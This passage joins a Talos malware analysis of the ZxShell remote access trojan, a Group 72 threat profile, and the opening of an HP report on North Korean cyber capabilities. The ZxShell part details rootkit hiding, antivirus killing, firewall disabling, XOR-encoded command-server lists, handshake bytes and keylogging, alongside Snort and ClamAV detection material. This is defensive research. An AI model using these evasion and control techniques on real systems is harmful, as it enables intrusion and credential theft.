spawns a thread that starts from +ShellMainThreadInt at offset +0xC0CD. The ShellMainThreadInt function gets the HeapDestroy Windows API address and +replaces the first 3 bytes with the RET 4 opcode. Subsequently, it calls the FreeLibrary function to free its own DLL buffer +located at its original address. Because of this, the allocated heaps will not be freed. It re-copies the DLL from the new buffer +to the original one using the memcpy function. Finally, it spawns the main thread that starts at the original location of +ShellMainThread procedure, and terminates. At this point, the ZxShell library is no longer linked in the module list of the +host process. This is important because if any system tool tries to open the host process it will never display the ZxShell DLL. +ShellMainThread +This thread implements the main code, responsible for the entire botnet DLL. First, it checks if the DLL is executed as a +service. If so, it spawns the service watchdog thread. The watchdog thread checks the registry path of the ZxShell service +every 2 seconds, to verify that it hasn +t been modified. If a user or an application modifies the ZxShell service registry key, the +code restores the original infected service key and values. +Image 3. The watchdog thread of ZxShell service +The buffer containing the ZxShell Dll in the new location is freed using the VirtualFree API function. A handle to the DLL file +is taken in order to make its deletion more difficult. The ZxShell mutex is created named @_ZXSHELL_@. +ZxShell plugins are parsed and loaded with the AnalyseAndLoadPlugins function. The plugin registry key +HKLM\SYSTEM\CurrentControlSet\Control\zxplug is opened and each value is queried. The registry value contains the +plugin file name. The target file is loaded using the LoadLibrary API function, and the address of the exported function +zxMain is obtained with GetProcAddress. +If the target filename is incorrect or invalid the plugin file is deleted and the registry value is erased. That is performed by the +function DeleteAndLogPlugin. Otherwise, the plugin is added to an internal list. Here is the data structure used to keep track +of the plugins: +typedef struct _ZX_PLUGINS_STRUCT { +LPSTR lpStrRegKey; +// + 0x00 - ZxShell Plugins registry key string +// (like 'SYSTEM\CurrentControlSet\Control\zxplug') +DWORD dwUnknown2; +// + 0x04 - Unknown DWORD value +LPVOID lp138hBuff; +// + 0x08 - Plugins list +DWORD dwZero; +// + 0x0C - Always zero +HANDLE hReg; +// + 0x10 - Handle to plugin registry key +} ZX_PLUGINS_STRUCT, *PZX_PLUGINS_STRUCT; +The thread KeyloggerThread is spawned and is responsible for doing keylogging on the target workstation. We will take a +look at the keylogger later on. Finally the main network communication function GetIpListAndConnect is called. +GetIpListAndConnect +This function is at the core of the RAT +s network communication. It starts by initializing a random number generator and +reading 100 bytes inside the ZxShell Dll at a hardcoded location. These bytes are XOR encrypted with the byte-key 0x85 and +contains a list of remote hosts where to connect. The data is decrypted, the remote host list is parsed and verified using the +BuildTargetIpListStruct function. There are 3 types of lists recognized by ZxShell: plain ip addresses, HTTP and FTP +addresses. +If the list does not contain any item, or if the verification has failed, the ZxShell sample tries to connect to a hardcoded host +with the goal of retrieving a new updated list. +Otherwise, ZxShell tries to connect to the first item of the list. If ZxShell successfully connects to the remote host, the +function DoHandshake is called. This function implements the initial handshake which consists of exchanging 16 bytes, +0x00001985 and 0x00000425, with the server. The function GetLocalPcDescrStr is used to compose a large string that +contains system information of the target workstation. That information is the following: +local hostname +organization +owner +operating system details +CPU speed +total physical memory +The string is sent to the remote host and the response is checked to see if the first byte of the response is 0xF4, an arbitrary +byte. If it is, the botnet connection I/O procedure is called through the MainConnectionIo function. +Image 4. The GetLocalPcDescrStr and DoHandshake functions called beforestarting the command processing +Otherwise, the ZxShell code closes the socket used and sleeps for 30 seconds. It will then retry the connection with the next +remote host, if there is one. +It is noteworthy that this function includes the code to set the ZxShell node as a server: if one of the hardcoded boolean value +is set to 1, a listening socket is created. The code waits for an incoming connection. When the connection is established a new +thread is spawned that starts with the MainConnectionIo function. +MainConnectionIo +The MainConnectionIo function checks if the Windows Firewall is enabled, sets the Tcp Keep Alive value and Non-blocking +mode connection options and receives data from the remote host through the ReceiveCommandData function. If the +communication fails, ZxShell disables the firewall by modifying the registry key: +HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile +Then the connection is retried. The received command is then processed by the ZxShell function with the ProcessCommand +function. +The command processing function starts by substituting the main module name and path in the hosting process PEB, with +the one of the default internet browser. The path of the main browser of the workstation is obtained by reading the registry +value: +HKLM\SOFTWARE\Classes\HTTP\shell\open\command +Image 5. Our test workstation use Windows Internet Explorer as default browser +This trick renders identification by firewall more cumbersome. A host firewall will recognize the outgoing connection as +originated by the browser instead of the ZxShell service host process. The browser process always performs outgoing +connections and the firewall shouldn +t block them. +The command processing is straightforward. Here is the list of common commands: +COMMAND +MEANING +Help / ? +Get help +Exit / Quit +Exit and shut down the botnet client +SysInfo +Get target System information +SYNFlood +Perform a SYN attack on a host +Process service Unix command implementation +CleanEvent +Clear System Event log +FindPass +Find login account password +FileTime +Get time information about a file +FindDialPass +List all the dial-up accounts and passwords +User +Account Management System +TransFile +Transfer file in or from remote host +Execute +Run a program in the remote host +Service control command, implemented as the Windows one +Clone user account +RunAs +Create new process as another User or Process context. +TermSvc +Terminal service configuration (working on Win Xp/2003) +GetCMD +Remote Shell +Shutdown +Logout, shutdown or restart the target system +ZXARPS +Spoofing, redirection, packet capture +ZXNC +Run ZXNC v1.1 -- a simple telnet client +ZXHttpProxy +Run a HTTP proxy server on the workstation +ZXSockProxy +Run a Sock 4 & 5 Proxy server +ZXHttpServer +Run a custom HTTP server +PortScan +Run TCP Port MultiScanner v1.0 +KeyLog +Capture or record the remote computer +s keystrokes. The implementation is a userland keylogger that polls the +keymap with each keystroke. +LoadDll +Load a DLL into the specified process +Terminate ZxShell DLL +Uninstall +Uninstall and terminate ZxShell bot DLL +ShareShell +Share a shell to other +CloseFW +Switch off Windows Firewall +FileMG +File Manager +winvnc +Remote Desktop +rPortMap +Port Forwarding +capsrv +Video Device Spying +zxplug +Add and load a ZxShell custom plugin +This set of functionality allows the operator complete control of a system. Being able to transfer and execute files on the +infected system means the attacker can run any code they please. Further, the keylogging and remote desktop functionality +allows the operator to spy on the infected machine, observing all keystrokes and viewing all user actions. +Uninstall +Unloads ZxShell and deletes all of the active components. This simply deletes the ZxShell service key from the Windows +registry (using SHDeleteKey Api) and all of the subkeys. Finally, it marks ZxShell main Dll for deletion with the MoveFileEx +Windows API. +ZxFunction001 +This function is the supporting functionality for WinVNC. To allow the VNC session to connect, the current network socket +WSAProtcol_Info structure is written to a named pipe prior to calling zxFunction001. Once the named pipe has been created, +CreateProcessAsUserA is called with the following as the CommandLine parameter : +\\rundll32.exe ,zxFunction001 +zxFunction001 modifies the current process memory, uses data contained in the named pipe to create a socket, and then +executes the code that sends the remote desktop session to the server controller. +ZxFunction002 +This function will either bind the calling process to a port or has the calling process connect to a remote host. The function is +called in the following manner: +\\rundll32.exe ,zxFunction002 +The functionality (connect or bind) depends on the data contained within the named pipe. Unlike zxFunction001, this is not +used by any of the RAT commands in the zxshell.dll. +Kernel Device Driver LoveUSD +Apart from user-mode ZxShell droppers mentioned earlier, there is a file (SHA256: +1e200d0d3de360d9c32e30d4c98f07e100f6260a86a817943a8fb06995c15335) that installs a kernel device driver called +loveusd.sys. The architecture of this dropper is different from the others: it starts extracting the main driver from itself. It +adds the SeLoadDriver privilege to its access token and proceeds to install the driver as a fake disk filter driver. ZxShell opens +the registry key that describes the disk class drivers: +SYSTEM\CurrentControlSet\Control\Class\{4D36E967-E325-11CE-BFC1-08002BE10318} +It then adds the +Loveusd.sys + extracted driver name to the upper filter list. In our analysed sample the +Loveusd.sys + driver +is installed with the name +USBHPMS +. Finally the driver is started using the ZwLoadDriver native API. +The ZxShell driver starts by acquiring some kernel information and then hooking +ObReferenceObjectByHandle + API. Finally +it spawns 2 system threads. +The first thread is the +communication + thread. ZxShell employs a strange method for communication: it hooks the +NtWriteFile API and recognizes 5 different special handle values as commands: +0x111111111 -- Hide +Loveusd + driver from the system kernel driver list +0x22222222 -- Securely delete an in-use or no-access target file-name +0x44444444 -- Unhook the ZwWriteFile API and hook KiFastCallEntry +0x55555555 -- Remove the ZxShell Image Load Notify routine +0x88888888 -- Set a special value called +type + in Windows registry key +HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverMain +The second Loveusd system thread does a lot of things. Its principal duties are to create the ZxShell main DLL in +c:\Windows\System32\commhlp32.dll + and to install the Kernel +Load Image Notify routine +. The code then tries to kill +each process and service that belongs to the following list of AV products: +Symantec Firewall +Norton +ESET +McAfee +Avast +Avira +Sophos +Malwarebytes +Next, the ZxShell Load-Image Notify function prevents the AV processes from restarting. +The installation procedure continues in the user-mode dropper. The ZxShell service is installed as usual, and the in-execution +dropper is deleted permanently using the special handle value 0x22222222 for the WriteFile API call. This handle value is +invalid: all the windows kernel handle values are by design a multiple of 4. The ZxShell hook code knows that and intercept +ObReferenceObjectByHandle is a Kernel routine designed to validate a target object and return the pointer to its object body +(and even its handle information), starting from the object handle (even the user-mode one). The hook installed by ZxShell +implements one of its filtering routine. It filters each attempt to open the ZxShell protected driver or the main DLL, returning +a reference to the +netstat.exe + file. The protection is enabled to all processes except for ones in the following list: +Svchost.exe, Lsass.exe, Winlogon.exe, Services.exe, Csrss.exe, ctfmon.exe, Rundll32.exe, mpnotify.exe, update.exe. +If the type of the object that the system is trying to validate is a process, the hook code rewrites again the configuration data +of the ZxShell service in the windows registry. +Image 6. Our test Windows XP workstation trying to open the sys file of ZxShell LOVEUSD driver +The last type of Kernel modification that ZxShell rootkit performs is the system call dispatcher (KiFastCallEntry) hook. In +this manner, ZxShell is able to completely hide itself, intercepting the following Kernel API calls: ZwAllocateVirtualMemory, +ZwOpenEvent, ZwQueryDirectoryFile, ZwWriteFile, ZwEnumerateKey, and ZwDeviceIoControlFile. +Command and Control Server +Sample (SHA256: 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c) is configured to act as a server. +The symbol +g_bCreateListenSck + is set to 1. This means that, as seen above, the ZxShell Dll is started in listening mode. It +connects to the first remote C&C that tries to contact it and succeeds in the handshake. The encrypted IP address is +127.0.0.2 + (used as loopback) and no connection is made on that IP address (due to the listening variable set to 1). +Malware Package +We used the ZxShell package for version 3.10 (SHA256: +1622460afbc8a255141256cb77af61c670ec21291df8fe0989c37852b59422b4).The convenient thing about this is that the CNC +panel worked with any version, 3.10 and above. The buttons are all in Chinese, with the help of Google Translate and keen +detective skills (read: button clicking), we +ve deciphered the functionality. +When you start the controller, you need to set the port you want to listen on and if you +ve set a password, add it here. +Once an infected machine connects, you see its information displayed in a selection box at the top. There are some built in +functions on the side for the more common features. These include remote desktop, webcam spying, remote shell, and file +management. You can also select a host and type help for a full list of commands. +I have the same machine infected with two different version of ZxShell. Sending the help command for each, you can see the +extra features added between version 3.1 and 3.2. +Keylogging, ZXARPS (IP and URL spoofing), and SYNFlood are some of the interesting features added to version 3.2. +Version Information +We wrote a script to extract version info from the binaries we have. +3.100 : 914 +3.200 : 152 +3.210 : 118 +3.220 : 14 +3.390 : 3 +In versions 3.1 -- 3.21, the configuration info is xor encoded with 0x85. This configuration info can be changed with a tool +included in the ZxShell package. +In versions 3.22 and 3.39 the routine changes. The new xor encoding byte is 0x5B. The data is stored in the last 0x100 bytes +of the file. The first 8 bytes of data are static. Then there is the dll install name, the domain, and the port. +Extracted URL Analysis +Knowing the obfuscation routines for this data we wrote a script to extract the URLs / IPs and ports stored. +The most common ports used are, 80, 1985, 1986, and 443. 1985 is the default port for the malware, 1986 is the lazy variation +of that port. Port 80 and 443 are the default ports for HTTP and HTTPS traffic. The next most common is port 53. This is +used in some of the newer 3.22 and 3.39 samples. After that, the count for each port starts declining sharply. The choices are +interesting though, many correspond to what looks like the birth year of the controller (ie. years in the late 1980s and early +1990s), and others seem to match what year the malware was launched in (ie. in the 2000s, relatively close to the current +year). +Since this malware dates back to around 2004, there are many samples containing CNC URLs from the 3322.org page. This +page used to offer no-ip type hosting and was widely used by malware authors. So much so that Microsoft did a takedown in +2012. A similar service, vicp.net, is also seen in many of the domains. +In the malware, if a domain is configured, it will retrieve domain.tld/myip.txt. This file contains a list of IP addresses for the +infected machine to connect back to. Otherwise, if an IP address is configured, it will connect directly to that IP address. +Cloning the ZxShell Server +We have written a simple C++ ZxShell Server that implements the communication and the handshake for the version 3.10 +and 3.20 of the ZxShell DLL. The implementation is quite simple: After the handshake, 2 threads that deal with data transfer +are spawned. Here we have some screenshots that show the Server and the ZxShell Keylogger in action: +Our server has accepted a connection from a remote host +The ZxShell keylogger has captured 2 user passwords(gmail.com and amazon.com) +The last image shows a very interesting feature of the ZxShell keylogger: once installed and activated, the keylogger is able to +catch each password that the user inserts in the login box of each website (like Google, Amazon and so on +). This makes the +keylogger a perfect weapons for the attackers. They will be able to steal and resell in the underground market the sensitive +data of each victim. +Conclusion +Advanced persistent threats will remain a problem for companies and organizations of all sizes, especially those with high +financial or intellectual property value. Group 72 +s involvement in Operation SMN is another example of what sort of +damage that can be done if organizations are not diligent in their efforts to secure their networks. ZxShell is one sample +amongst several tools that Group 72 used within their campaign. +ZxShell is a sophisticated tool employed by Group 72 that contains all kinds of functionality. Its detection and removal can +be difficult due to the various techniques used to conceal its presence, such as disabling the host anti-virus, masking its +installation on a system with a valid service name, and by masking outbound traffic as originating from a web browser. +While other techniques are also utilized to conceal and inhibit its removal, ZxShell +s primary functionality is to act as a +Remote Administration Tool (RAT), allowing the threat actor to have continuous backdoor access on to the compromised +machine. +As our analysis demonstrates, ZxShell is an effective tool that can be ultimately used to steal user credentials and other highly +valuable information. The threat posed by ZxShell to organizations is one that cannot be ignored. Organizations with high +financial or intellectual property value should take the time to ensure their security requirements are met and that +employee +s are educated about the security threats their organizations face. +For additional information, please see our blog post. +Protecting Users from These Threats +Advanced Malware Protection (AMP) is ideally suited to detect the sophisticated malware +used by this threat actor. +CWS or WSA web scanning prevents access to malicious websites, including watering hole +attacks, and detects malware used in these attacks. +The Network Security protection of IPS and NGFW have up-to-date signatures to detect +malicious network activity by threat actors. +ESA can block spear phishing emails sent by threat actors as part of their campaign. +Appendix A: Snort Rules +Initial connection from the infected computer +s perspective -- after it connects to the controller RECV: +85190000250400000000404000000000 +SEND: +86190000040100006666464000000000 +RECV: +4edf9340780100000000000000000000 +SEND: +00000000000000000000000000000000 +The rules are on the first 8 bytes of the first two packets. They are hard coded in the binaries. The rest of the bytes are +variable (for example, 66664640 is a floating point version number of ZxShell). +Snort rules: +sid:32180 +sid:32181 +These rules have been released in our community ruleset and can be downloaded and used directly, or via pulledpork from +Snort.org +Appendix B: ClamAV Signatures +Win.Trojan.ZxShell-11 +Win.Trojan.ZxShell-12 +Win.Trojan.ZxShell-13 +Win.Trojan.ZxShell-14 +Win.Trojan.ZxShell-15 +Win.Trojan.ZxShell-16 +Win.Trojan.ZxShell-17 +Win.Trojan.ZxShell-18 +Win.Trojan.ZxShell-19 +Win.Trojan.ZxShell-20 +Win.Trojan.ZxShell-21 +Win.Trojan.ZxShell-22 +Win.Trojan.ZxShell-23 +Win.Trojan.ZxShell-24 +Win.Trojan.ZxShell-25 +Win.Trojan.ZxShell-26 +These signatures are available within the ClamAV database. Please run freshclam to ensure you stay updated with the latest +coverage. +Appendix C: List of Memory Offsets for Some ZxShell Functions +Here +s a list for some ZxShell functions for sample SHA256: +1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c: +FUNCTION NAME +BRIEF DESCRIPTION +OFFSET +ZxGetLibAndProcAddr +ZxShell GetProcAddress implementation +0x12CDA +CopyMemoryFromNewMsvcrt +ZxShell memory copy routine +0x12C4C +ServiceExists +Get if a service is installed in the system or not +0x0A7C7 +ProcessScCommand +ZxShell + command implementation +0x0E3EF +AnalyseAndLoadPlugins +Parse the installed plugin list and load each one of them +0x0127B7 +DeleteAndLogPlugin +Delete a corrupted plugin and log the problem +0x012597 +KeyloggerThread +ZxShell keylogger implementation +0x0D591 +GetIpListAndConnect +Analyse the IP list inside the ZxShell PE and tries to connect +0x011496 +BuildTargetIpListStruct +Build remote server Ip list structure +0x11419 +DoHandshake +Perform initial connection handshake +0xB8E8 +GetLocalPcDescrStr +Build a string containing the target workstation data +0x0B627 +MainConnectionIo +ZxShell main connection I/O routine +0x1126C +ReceiveCommandData +Receive each byte from the socket until a newline char +0x016DF +ProcessCommand +Main ZxShell command processing routine +0x10C2B +Appendix D: Other Collateral +Here is a non-exhaustive list of ZxShell samples that were analyzed for this report. +Here is a list of Domains organized by port. +Tags: APT, Group 72, malware, Operation SMN, security, SMN, Talos, threats +Threat Spotlight: Group 72 +This post is co-authored by Joel Esler, Martin Lee and Craig Williams +Everyone has certain characteristics that can be recognised. This may be a way of walking, an accent, a +turn of phrase or a style of dressing. If you know what to look for you can easily spot a friend or +acquaintance in a crowd by knowing what characteristics to look for. Exactly the same is true for threat +actors. +Each threat actor group may have certain characteristics that they display during their attack campaigns. +These may be the types of malware that they use, a pattern in the naming conventions of their command +and control servers, their choice of victims etc. Collecting attack data allows an observer to spot the +characteristics that define each group and identify specific threat actors from the crowd of malicious +activity on the internet. +Talos security and intelligence research group collects attack data from our various telemetry systems to +analyse, identify and monitor threat actors through their different tactics, techniques, and procedures. +Rather than give names to the different identified groups, we assign numbers to the threat actors. We +frequently blog about significant attack campaigns that we discover, behind the scenes we integrate our +intelligence data directly into our products. As part of our research we keep track of certain threat actor +groups and their activities. In conjunction with a number of other security companies, we are taking +action to highlight and disrupt the activities of the threat actors identified by us as Group 72. +Group 72 is a long standing threat actor group involved in Operation SMN, named Axiom by Novetta. The +group is sophisticated, well funded, and possesses an established, defined software development +methodology. The group targets high profile organizations with high value intellectual property in the +manufacturing, industrial, aerospace, defense, media sectors. Geographically, the group almost exclusively +targets organizations based in United States, Japan, Taiwan, and Korea. The preferred tactics of the group +include watering-hole attacks, spear-phishing, and other web-based tactics. +The tools and infrastructure used by the attackers are common to a number of other threat actor groups +which may indicate some degree of overlap. We have seen similar patterns used in domain registration for +malicious domains, and the same tactics used in other threat actor groups leading us to believe that this +group may be part of a larger organization that comprises many separate teams, or that different groups +share tactics, code and personnel from time to time. +It is possible that Group 72 has a vulnerability research team searching for 0-day vulnerabilities in +Windows. The group is associated with the initial attack campaigns utilising exploits for the following +vulnerabilities CVE-2014-0322 and CVE-2012-4792 . We have also observed them using SQL injection as +part of their attacks, and exploits based on CVE-2012-1889 and CVE-2013-3893. +Frequently the group deploys a remote access trojan (RAT) on compromised machines. These are used +both to steal data and credentials from compromised machines, and to use the machine as a staging post +to conduct attacks against further systems on the network, allowing the attackers to spread their +compromise within the organization. Unlike some threat actors, Group 72 does not prefer to use a single +RAT as part of their attacks. We have observed the group to use the following RAT malware: +Gh0st RAT (aka Moudoor) +Poison Ivy (aka Darkmoon) +HydraQ (aka 9002 RAT aka McRAT aka Naid) +Hikit (aka Matrix RAT aka Gaolmay) +Zxshell (aka Sensode) +DeputyDog (aka Fexel) + Using the kumanichi and moon campaign codes +Derusbi +PlugX (aka Destroy RAT aka Thoper aka Sogu) +HydraQ and Hikit, according to our data are unique to Group 72 and to two other threat actor +groups. +While their operational security is very good, patterns in their domains can be identified such as +seemingly naming domains after their intended victim. We have observed domains such as +companyname.attackerdomain.com and companyacronym.attackerdomain.com. We have also observed +similar patterns in the disposable email addresses used to register their domains. These slips, among +others, allow us to follow their activities. Intriguingly we have observed the same email address being used +in the activities of this and two other threat actor groups. This may suggest that these three groups are +indeed one unit, or possibly hint at shared staff or ancillary facilities. +We will post a follow up with more technical detail in the coming days. +ClamAV names and Snort Signature IDs detecting Group 72 RAT malware: +Gh0stRat + Win.Trojan.Gh0stRAT, 19484, 27964 +PoisonIVY / DarkMoon + Win.Trojan.DarkMoon, 7816, 7815, 7814, 7813, 12715, 12724 +Hydraq + Win.Trojan.HyDraq, 16368, 21304 +HiKit + Win.Trojan.HiKit, 30948 +Zxshell + Win.Trojan.Zxshell, 32180, 32181 +DeputyDog + Win.Trojan.DeputyDog, 28493, 29459 +Derusbi + Win.Trojan.Derusbi, 20080 +Protecting Users Against These Threats +Advanced Malware Protection (AMP) is ideally suited to detect +the sophisticated malware used by this threat actor. +CWS or WSA web scanning prevents access to malicious +websites, including watering hole attacks, and detects malware +used in these attacks. +The Network Security protection of IPS and NGFW have up-todate signatures to detect malicious network activity by threat +actors. +ESA can block spear phishing emails sent by threat actors as part of their campaign. +Tags: APT, malware, Operation SMN, security, SMN, Talos, threats +Companion report +HP Security Briefing +Episode 16, August 2014 +Profiling an enigma: The +mystery of North Korea +s cyber +threat landscape +HP Security Research +Table of Contents +Introduction .................................................................................................................................................... 3 +Research roadblocks ...................................................................................................................................... 4 +Ideological and political context .................................................................................................................... 5 +Juche and Songun...................................................................................................................................... 5 +Tension and change on the Korean Peninsula .......................................................................................... 8 +North Korean cyber capabilities and limitations ......................................................................................... 10 +North Korean infrastructure.................................................................................................................... 10 +An analysis of developments in North Korean cyberspace since 2010 .................................................. 14 +North Korean cyber war and intelligence structure ................................................................................ 21 +North Korean cyber and intelligence organizational chart ..................................................................... 26 +North Korea +s cyber doctrine, strategies and goals ............................................................................... 26 +Cyber warfare operations ........................................................................................................................ 27 +Gaming for profit and pwnage ................................................................................................................ 29 +Intelligence and counterintelligence ...................................................................................................... 29 +Psychological operations ........................................................................................................................ 32 +Electronic warfare ................................................................................................................................... 38 +Training cyber warriors ........................................................................................................................... 39 +Important political and military ties ............................................................................................................ 42 +China ........................................................................................................................................................ 42 + Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. The only warranties for HP +products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an +additional warranty. HP shall not be liable for technical or editorial errors or omissions contained herein. +Russia ...................................................................................................................................................... 43 +Iran ........................................................................................................................................................... 43 +Syria ......................................................................................................................................................... 44 +Cuba ......................................................................................................................................................... 44 +Timeline of significant North Korean cyber activity .................................................................................... 45 +Patterns in the noise: cyber incidents attributed to North Korean actors .................................................. 47 +DarkSeoul ................................................................................................................................................ 50 +WhoIs Team ............................................................................................................................................. 52 +IsOne ........................................................................................................................................................ 55 +Kimsukyang ............................................................................................................................................. 57 +New Romantic Cyber Army Team / Hastati ............................................................................................. 57 +Malware summary........................................................................................................................................ 58 +Analysis ........................................................................................................................................................ 60 +Summary ...................................................................................................................................................... 61 +HP Security Research recommendations..................................................................................................... 62 +Appendix A + WHOIS records ........................................................................................................................ 64 +Appendix B + Sites found on North Korean IP space.................................................................................... 72 +Appendix C + Analysis of DarkSeoul Dropper .............................................................................................. 74 +Learn more at .......................................................................................................................................... 75 +Episode 16 +Thank you for subscribing to Episode 16 of the HP Security Briefing. In this +edition we discuss the cyber landscape within the Democratic People +Republic of Korea. +Introduction +The Democratic People +s Republic of Korea (DPRK), known in the West as North Korea, is a unique +country with a military-focused society and an unconventional technology infrastructure. While +North Korea was formerly on the U.S. list of state sponsors of terrorism, it was removed in 2008. 1 +However, due to North Korea +s hostility toward other nations, its pursuit of nuclear weapons, and +human rights violations against its own citizens, the United Nations and many Western entities +have placed sanctions and embargoes against North Korea.2 3 For example, U.S. export laws +forbid the sale of dual-use technologies, or those that can be used or repurposed for both civilian +and military use, to North Korea.4 5 Additionally, the U.S. has a military alliance with the Republic of +Korea (ROK), known in the West as South Korea, North Korea +s primary target of conflict.6 +Due to North Korea +s global interactions, its cyber warfare capabilities are of particular interest to +the U.S. According to a 2009 report by Major Steve Sin, an intelligence analyst at U.S. Forces +Korea, North Korean hackers have successfully penetrated U.S. defense networks more +frequently than any other country that has targeted U.S. defense assets.7 While Major Sin may +have been overly optimistic about North Korea +s abilities, it is clear that they should not be +underestimated. Frank Cilluffo, co-director of the Cyber Center for National and Economic Security +at George Washington University, testified before Congress that North Korea +s cyber capability +"poses an important 'wild card' threat, not only to the United States but also to the region and +broader international stability +"8 In an April 2014 testimony given to the House Armed Services +Committee, General Curtis M. Scaparrotti noted that +North Korea remains a significant threat to +United States + interests, the security of South Korea, and the international community due to its +willingness to use force, its continued development and proliferation of nuclear weapon and longrange ballistic missile programs, and its abuse of its citizens + human rights, as well as the +legitimate interests of its neighbors and the international community. + Scaparrotti stressed that +While North Korea +s massive conventional forces have been declining due to aging and lack of +resources +North Korea is emphasizing the development of its asymmetric capabilities. North +http://thecable.foreignpolicy.com/posts/2010/05/25/why_the_state_department_wont_put_north_korea_back_on_the_terror_list +http://www.sanctionswiki.org/North_Korea +https://www.fas.org/irp/offdocs/eo/eo-13551.pdf +http://www.foxnews.com/world/2012/04/17/un-computer-shipment-to-north-korean-regime-violates-us-manufacturers-ban/ +http://www.state.gov/strategictrade/overview/ +http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf +http://www.nextgov.com/defense/whats-brewin/2009/07/north-koreas-hackers-in-a-luxury-hotel/51330/ +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/3 +Korea +s asymmetric arsenal includes +an active cyber warfare capability. +9 While one would expect +the regime +s digital infrastructure to also suffer from aging or lack of resources, these factors do +not take away from their technical abilities to wage cyber warfare. +While the U.S. views North Korea +s cyber warfare program as the regime +s foray into modern +asymmetrical warfare, South Korea views the regime +s cyber capabilities as a terroristic threat, -a +build-up for an impending multifaceted attack. It is important to note that, to date, no such attack +has occurred. According to a report written by Captain Duk-Ki Kim, Republic of Korea Navy officer +and Ph.D. +the North Korean regime will first conduct a simultaneous and multifarious cyber +offensive on the Republic of Korea +s society and basic infrastructure, government agencies, and +major military command centers while at the same time suppressing the ROK government and its +domestic allies and supporters with nuclear weapons. +10 South Korea +s view of North Korea as a +terroristic threat may be an attempt to downgrade North Korea politically, since South Korea does +not recognize the regime as a legitimate state.11 South Korean reports also claim that North +Korea +s premier hacking unit, Unit 121, trails Russia and the U.S. as the world +s third largest cyber +unit. 12 While this claim may be exaggerated, in 2012, South Korean reports estimated North +Korea +s hacker forces at around 3000 personnel. In a July 2014 report from South Korea +s Yonhap +News Agency, that figure was upgraded to 5900 hacker elite.13 We must stress that although +these claims have not been corroborated, South Korea has taken the regime +s cyber threats very +seriously and is reportedly training 5000 personnel to defend against North Korean cyber +attacks.14 +Obtaining details on North Korea +s cyber warfare capabilities is not an easy task. This paper will +examine the known cyber capabilities of North Korea +s regime and how the country maintains +secrecy in these matters. Through information obtained via open source intelligence (OSINT), we +will present what is known about North Korea +s cyber warfare and supporting intelligence and +psychological operations capabilities. +Research roadblocks +The following conditions proved to be research roadblocks when gathering intelligence regarding +North Korea +s cyber warfare capabilities: + Much of the intelligence available on North Korea is dated and may not accurately reflect +the regime +s current capabilities. + Much of the intelligence available on North Korea comes from U.S. or South Korean +military or agency reports. These reports omit details that are likely classified, such as +specific IP addresses and individual actor information. + While South Korea is an ally of the United States, its reports on North Korean cyber +activity potentially contain incomplete or biased information. Cultural factors that stem +http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf +https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg +http://www.atimes.com/atimes/Korea/GA04Dg01.html +http://www.koreaherald.com/view.php?ud=20130321000980 +http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/ +http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/ +from a history of tension and conflict between the two nations may skew perception and +make objectivity difficult. 15 16 +North Korea +s Internet infrastructure and the regime +s strict control over its use ensures +that there are no rogue actors and that all officially sanctioned actors exercise careful +OPSEC and PERSEC practices in order to prevent inadvertent information leaks. In other +words, there was no significant identifying information in the form of an OSINT trail left +behind by the actors. This hinders collection of original, actionable threat intelligence and +individual actor attribution. +North Korea is well-isolated from the outside world, and its strong intelligence and +psychological operations presence effectively creates confusion via counterintelligence +and disinformation about the regime +s capabilities.17 For this reason, any +official + reports +emanating from North Korea must be taken with a grain of salt. This also hinders +attempts to obtain original, actionable threat intelligence. +Ideological and political context +In order for Westerners to understand the North Korean mindset, it is necessary to examine the +key components of North Korean political and ideological thought. It is also necessary to provide a +brief explanation of how North Korea and South Korea view one another, in order to understand +the basis for conflict between the two. +Juche and Songun +North Korea has two primary ideologies that provide context for the regime +s motivations and +activities: juche (ju-cheh) and songun (sun-goon). Juche is the official political ideology of North +Korea. It was instituted in 1972 and is based on the ideologies of Kim Il-Sung, the founder of the +DPRK. Juche emphasizes self-reliance, mastering revolution and reconstruction in one +s own +country, being independent of others, displaying one +s strengths, defending oneself, and taking +responsibility for solving one +s own problems. North Korea +s air-gapped intranet, described below, +exemplifies this philosophy in the country +s cyber infrastructure. The juche philosophy explains +North Korea +s disdain for outside cultural and political influence. Juche challenges North Koreans +to contribute to the regime +s chaju (ja-ju), a concept of national sovereignty and independence.18 +The regime +s greatest fear is internal dissent and resulting destabilization.19 20 In a June 2014 +Reddit AMA session, Dr. Andrei Lankov, an expert on North Korean culture and society, noted +there are also serious signs of public alienation and discontent. And I cannot rule out a public +outbreak of such discontent in the near future. Of course, if it happens, it will have a serious +impact on the government. +21 Despite North Korea +s strong conviction in juche, the regime +collaborates with and receives support from other nations. However, due to this deep-seated +http://www.businessinsider.com/did-kim-jong-un-execute-his-ex-girlfriend-2013-8 +http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10554198/North-Koreas-invisible-phone-killer-dogs-and-other-such-storieswhy-the-world-is-transfixed.html +http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iid=article_sidebar +http://www.stanford.edu/group/sjeaa/journal3/korea1.pdf +http://belfercenter.ksg.harvard.edu/publication/20269/keeping_kim.html +http://www.buzzfeed.com/miriamberger/the-world-as-viewed-by-north-koreas-propaganda-machine +http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ +ideology, it is doubtful that North Korea fully trusts these apparent allies.22 Later in this document, +we will show that North Korea relies heavily on China for Internet access. North Korea also +collaborates with China and Russia to train its cyber warriors and has longstanding political and 